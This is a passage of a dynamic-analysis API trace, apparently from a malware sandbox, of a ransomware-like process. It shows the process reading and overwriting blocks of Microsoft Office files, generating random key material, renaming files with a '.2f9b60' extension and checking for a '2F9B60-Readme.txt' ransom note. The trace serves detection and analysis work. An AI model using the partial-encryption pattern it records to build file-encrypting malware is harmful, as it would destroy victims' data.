RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe110) returned 1 [0144.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42331d40 [0144.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.436] ReadFile (in: hFile=0x1b28, lpBuffer=0x42331d40, nNumberOfBytesToRead=0x7fb, lpNumberOfBytesRead=0x3ba0f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42331d40*, lpNumberOfBytesRead=0x3ba0f8d0*=0x7fb, lpOverlapped=0x0) returned 1 [0144.437] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.437] WriteFile (in: hFile=0x1b28, lpBuffer=0x42326910*, nNumberOfBytesToWrite=0x7fb, lpNumberOfBytesWritten=0x3ba0f8d4, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesWritten=0x3ba0f8d4*=0x7fb, lpOverlapped=0x0) returned 1 [0144.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42331d40) returned 1 [0144.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0144.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0144.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.483] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x1696f0 [0144.484] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.484] WriteFile (in: hFile=0x1b28, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3ba0f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x3ba0f9f0*=0x104, lpOverlapped=0x0) returned 1 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061f30 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff280 [0144.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0144.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0144.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061f30) returned 1 [0144.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x204ff1c0 [0144.522] sprintf (in: _Dest=0x204ff1c0, _Format="%c%c" | out: _Dest="37") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1c2, _Format="%c%c" | out: _Dest="0e") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1c4, _Format="%c%c" | out: _Dest="7f") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1c6, _Format="%c%c" | out: _Dest="10") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1c8, _Format="%c%c" | out: _Dest="a0") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1ca, _Format="%c%c" | out: _Dest="3d") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1cc, _Format="%c%c" | out: _Dest="e3") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1ce, _Format="%c%c" | out: _Dest="af") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1d0, _Format="%c%c" | out: _Dest="2c") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1d2, _Format="%c%c" | out: _Dest="f7") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1d4, _Format="%c%c" | out: _Dest="ba") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1d6, _Format="%c%c" | out: _Dest="f7") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1d8, _Format="%c%c" | out: _Dest="85") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1da, _Format="%c%c" | out: _Dest="b4") returned 2 [0144.522] sprintf (in: _Dest=0x204ff1dc, _Format="%c%c" | out: _Dest="43") returned 2 [0144.523] sprintf (in: _Dest=0x204ff1de, _Format="%c%c" | out: _Dest="ef") returned 2 [0144.523] sprintf (in: _Dest=0x204ff1e0, _Format="%c%c" | out: _Dest="9a") returned 2 [0144.523] sprintf (in: _Dest=0x204ff1e2, _Format="%c%c" | out: _Dest="98") returned 2 [0144.523] RtlInitAnsiString (in: DestinationString=0x3ba0fa68, SourceString="370e7f10a03de3af2cf7baf785b443ef9a98" | out: DestinationString="370e7f10a03de3af2cf7baf785b443ef9a98") [0144.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ba0fa38, SourceString="370e7f10a03de3af2cf7baf785b443ef9a98", AllocateDestinationString=1 | out: DestinationString="370e7f10a03de3af2cf7baf785b443ef9a98") returned 0x0 [0144.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d7f0 [0144.523] RtlFreeAnsiString (AnsiString="3") [0144.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0144.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1696f0) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0144.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5c0) returned 1 [0144.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202ae4a0 [0144.525] wcscat (in: _Dest=0x202ae4a0, _Source="370e7f10a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a" [0144.525] wcscat (in: _Dest=0x202ae4a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a.2f9b60" [0144.525] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a.2f9b60", NtPathName=0x3ba0fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\370e7f10a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ad600 [0144.525] NtSetInformationFile (FileHandle=0x1b28, IoStatusBlock=0x3ba0fab0, FileInformation=0x202ad600, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0146.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0146.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293300) returned 1 [0146.040] NtQueryInformationFile (in: FileHandle=0x1b28, IoStatusBlock=0x3ba0fa78, FileInformation=0x3ba0fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ba0fa78, FileInformation=0x3ba0fa88) returned 0x0 [0146.040] NtSetInformationFile (FileHandle=0x1b28, IoStatusBlock=0x3ba0fa78, FileInformation=0x3ba0fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 [0146.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d7f0) returned 1 [0146.077] FlushFileBuffers (hFile=0x1b28) returned 1 [0146.081] CloseHandle (hObject=0x1b28) returned 1 [0146.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae4a0 [0146.092] wcscpy (in: _Dest=0x202ae4a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.093] wcscat (in: _Dest=0x202ae4a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae4a0) returned 1 [0146.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 Thread: id = 2184 os_tid = 0x1614 [0140.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20 [0140.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL", dwFileAttributes=0x20) returned 1 [0140.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f78 [0144.390] GetFileSizeEx (in: hFile=0x1f78, lpFileSize=0x3bd4f8c0 | out: lpFileSize=0x3bd4f8c0*=320880) returned 1 [0144.390] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x4e56c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.390] ReadFile (in: hFile=0x1f78, lpBuffer=0x3bd4f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bd4f888, lpOverlapped=0x0 | out: lpBuffer=0x3bd4f840*, lpNumberOfBytesRead=0x3bd4f888*=0x4, lpOverlapped=0x0) returned 1 [0144.411] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcc0 [0144.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.412] NtQuerySystemTime (in: CurrentTime=0x3bd4f780 | out: CurrentTime=0x3bd4f780*=132462177496582000) returned 0x0 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x10373bd8 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0xa72576a [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x2923a6b6 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x5625e55c [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x2684d67e [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x41641dfc [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x2bfa01cb [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x12148fd3 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x5471dffc [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x7477fb8d [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x7dc94ac0 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0xf629970 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x69d19d65 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x6afc272 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x19e397b3 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x2dff552a [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x1ee64149 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x319d3ad4 [0144.412] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x3acb654b [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x50b6004e [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x41ea5461 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x109cfca3 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x2be2bfe2 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x34db7ca5 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x5fec3735 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x4e6038e7 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x614935da [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x7129a5b4 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x6cb87c50 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x26586780 [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x45d924bd [0144.413] RtlRandomEx (in: Seed=0x3bd4f770 | out: Seed=0x3bd4f770) returned 0x65818da3 [0144.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff460 [0144.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff400 [0144.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe590) returned 1 [0144.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4229f200 [0144.422] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.422] ReadFile (in: hFile=0x1f78, lpBuffer=0x4229f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4229f200*, lpNumberOfBytesRead=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.478] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0144.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0144.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0144.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0144.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0144.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0144.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0144.480] WriteFile (in: hFile=0x1f78, lpBuffer=0x4234c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesWritten=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0166.084] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.084] ReadFile (in: hFile=0x1f78, lpBuffer=0x4229f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4229f200*, lpNumberOfBytesRead=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.086] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x29400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0166.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0166.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2180 [0166.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2180) returned 1 [0166.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0166.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2180 [0166.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2150 [0166.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2150) returned 1 [0166.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0166.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0166.088] WriteFile (in: hFile=0x1f78, lpBuffer=0x4234c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesWritten=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0187.143] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x4a970, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.143] ReadFile (in: hFile=0x1f78, lpBuffer=0x4229f200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4229f200*, lpNumberOfBytesRead=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0190.553] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x4a970, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138cb0 [0190.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138cb0) returned 1 [0190.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b22a60 [0190.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138cb0 [0190.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138ce0 [0190.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138ce0) returned 1 [0190.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.557] WriteFile (in: hFile=0x1f78, lpBuffer=0x42b22a60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3bd4f7e0, lpOverlapped=0x0 | out: lpBuffer=0x42b22a60*, lpNumberOfBytesWritten=0x3bd4f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0205.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b22a60) returned 1 [0205.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f4b0 [0205.328] SetFilePointerEx (in: hFile=0x1f78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.328] WriteFile (in: hFile=0x1f78, lpBuffer=0x1cebcac0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3bd4f890, lpOverlapped=0x0 | out: lpBuffer=0x1cebcac0*, lpNumberOfBytesWritten=0x3bd4f890*=0x144, lpOverlapped=0x0) returned 1 [0208.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0208.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0208.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d520 [0208.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0208.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0208.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0208.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced8880 [0208.747] sprintf (in: _Dest=0x1ced8880, _Format="%c%c" | out: _Dest="dd") returned 2 [0208.747] sprintf (in: _Dest=0x1ced8882, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.747] sprintf (in: _Dest=0x1ced8884, _Format="%c%c" | out: _Dest="3f") returned 2 [0208.747] sprintf (in: _Dest=0x1ced8886, _Format="%c%c" | out: _Dest="4f") returned 2 [0208.747] sprintf (in: _Dest=0x1ced8888, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.747] sprintf (in: _Dest=0x1ced888a, _Format="%c%c" | out: _Dest="f3") returned 2 [0208.748] sprintf (in: _Dest=0x1ced888c, _Format="%c%c" | out: _Dest="21") returned 2 [0208.748] sprintf (in: _Dest=0x1ced888e, _Format="%c%c" | out: _Dest="56") returned 2 [0208.748] sprintf (in: _Dest=0x1ced8890, _Format="%c%c" | out: _Dest="17") returned 2 [0208.748] sprintf (in: _Dest=0x1ced8892, _Format="%c%c" | out: _Dest="16") returned 2 [0208.748] sprintf (in: _Dest=0x1ced8894, _Format="%c%c" | out: _Dest="d1") returned 2 [0208.748] sprintf (in: _Dest=0x1ced8896, _Format="%c%c" | out: _Dest="0b") returned 2 [0208.748] sprintf (in: _Dest=0x1ced8898, _Format="%c%c" | out: _Dest="6f") returned 2 [0208.748] sprintf (in: _Dest=0x1ced889a, _Format="%c%c" | out: _Dest="6c") returned 2 [0208.748] sprintf (in: _Dest=0x1ced889c, _Format="%c%c" | out: _Dest="23") returned 2 [0208.748] sprintf (in: _Dest=0x1ced889e, _Format="%c%c" | out: _Dest="9a") returned 2 [0208.748] sprintf (in: _Dest=0x1ced88a0, _Format="%c%c" | out: _Dest="92") returned 2 [0208.748] sprintf (in: _Dest=0x1ced88a2, _Format="%c%c" | out: _Dest="53") returned 2 